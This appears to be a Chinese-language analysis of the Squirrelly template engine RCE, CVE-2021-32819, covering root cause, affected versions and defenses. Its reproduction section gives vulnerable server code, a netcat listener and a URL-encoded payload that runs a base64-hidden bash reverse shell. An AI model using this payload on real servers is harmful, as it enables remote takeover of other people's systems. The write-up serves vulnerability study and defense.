Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析
字数 1248 2025-08-05 08:19:04
Squirrelly 模板引擎 RCE 漏洞 (CVE-2021-32819) 深入分析与防御指南
漏洞概述
Squirrelly 是一个轻量级 JavaScript 模板引擎,完整版 gzip 压缩后仅约 4KB,常与 ExpressJS 配合使用。2021年5月14日披露的 CVE-2021-32819 漏洞影响 SquirrellyJS 8.0.0 至 8.0.8 版本,可能导致从 XSS 到 RCE 的安全风险。
漏洞本质:Squirrelly 通过 Express 渲染 API 将模板数据与引擎配置选项混合,攻击者可通过请求查询覆盖全局变量 defaultConfig 中的 defaultFilter 属性,从而注入恶意代码。
漏洞复现
环境搭建
- 准备 Linux 环境
- 安装 Node.js 和 npm:
sudo apt update sudo apt install nodejs npm - 创建项目目录并安装依赖:
mkdir CVE-2021-32819 && cd CVE-2021-32819 npm install express npm install squirrelly
易受攻击的服务端代码
server.js:
const express = require('express')
const squirrelly = require('squirrelly')
const app = express()
app.set('views', __dirname)
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }))
app.get('/', (req, res) => {
res.render('index.squirrelly', req.query)
})
var server = app.listen(3000, '0.0.0.0', function() {
var host = server.address().address
var port = server.address().port
console.log("Listening on http://%s:%s", host, port)
})
模板文件
index.squirrelly:
<!DOCTYPE html>
<html>
<head>
<title>CVE-2021-32819</title>
<h1>Test For CVE-2021-32819</h1>
</head>
<body>
<h1></h1>
</body>
</html>
漏洞验证
- 攻击机开启监听:
nc -lvp 2333 - 发送恶意请求(URL编码后的Payload):
http://192.168.226.148:3000/?defaultFilter=e'));%20let%20require%20=%20global.require%20||%20global.process.mainModule.constructor._load;%20require('child_process').exec('echo%20YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64%20-d|bash');%20// - 成功获取反弹Shell
漏洞分析
攻击流程
- 请求通过 Express 传递给 Squirrelly 的
renderFile函数 renderFile调用getConfig处理配置:- 复制全局
defaultConfig到临时对象 - 用请求参数覆盖配置项(包括
defaultFilter)
- 复制全局
compileToString处理模板时,检查env.defaultFilter- 当
defaultFilter被设置时,执行以下危险代码:content = "c.l('F','" + env.defaultFilter + "')(" + content + ')' - 攻击者通过控制
defaultFilter注入恶意代码
关键函数调用链
renderFile → getConfig → tryHandleCache → handleCache → compile → compileToString → compileScope
漏洞触发点
在 compileScope 函数中:
if (type === 'i') {
if (env.defaultFilter) {
content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
}
// ...
}
攻击者通过控制 defaultFilter 可以注入任意 JavaScript 代码。
影响范围
- SquirrellyJS 8.0.0 至 8.0.8 版本
- GitHub 上 100 星以上的项目中,有 42 个项目使用了存在漏洞的 8.0.8 版本
防御措施
- 升级:使用 Squirrelly 8.0.8 以上版本
- 输入过滤:
- 对用户输入进行严格验证
- 实现白名单机制控制允许的输入
- 权限控制:
- 降低运行进程的用户权限
- 限制进程可访问的路径
- 配置加固:
- 避免将用户输入直接传递给模板配置
- 固定重要配置项,防止被覆盖
- 命令执行限制:
- 对进程可执行的系统命令实施白名单控制
修复建议
- 检查项目中 Squirrelly 的版本
- 如果必须使用受影响版本,实施严格的输入验证
- 考虑替代模板引擎(如 EJS、Pug 等)
- 实施深度防御策略,不依赖单一安全措施
参考资源
- GitHub Security Advisory: GHSL-2021-023-squirrelly
- CVE-2021-32819 官方描述
- Squirrelly 官方文档及更新日志